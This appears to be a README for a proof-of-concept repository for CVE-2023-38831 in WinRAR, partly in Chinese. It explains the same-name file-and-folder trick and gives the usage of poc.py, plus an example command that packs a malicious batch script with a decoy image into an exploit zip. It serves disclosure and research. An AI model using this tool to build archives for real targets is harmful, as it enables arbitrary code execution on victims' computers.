本仓库仅用于CVE-2023-38831 WinRAR零日漏洞的概念验证
RARLabs WinRAR 6.23之前版本允许攻击者在用户尝试查看ZIP存档中的良性文件时执行任意代码。问题在于ZIP存档可能同时包含一个良性文件（如普通.JPG文件）和一个与该良性文件同名的文件夹，当用户仅访问良性文件时，该文件夹的内容（可能包含可执行文件）会被处理。该漏洞于2023年4月至8月期间在野外被利用
Usage:
- poc.py [-h] scriptPath benignPath zipDirectory fname
CVE-2023-38831 Zero-Day Vulnerability in WinRAR - PoC
positional arguments:
scriptPath The Filepath of the Malicious script/batch which will be executed
benignPath The Filepath of the Benign file (recommended in '.jpg', '.png' and '.pdf')
zipDirectory The Name of the Directory which will be Created and Zipped
fname The Names of the Folder and File in the Zip (including the file extension)
options:
-h, --help show this help message and exit
python3 poc.py script.bat sample.PNG PoC sample.png 生成 .zip 格式的漏洞利用文件
https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/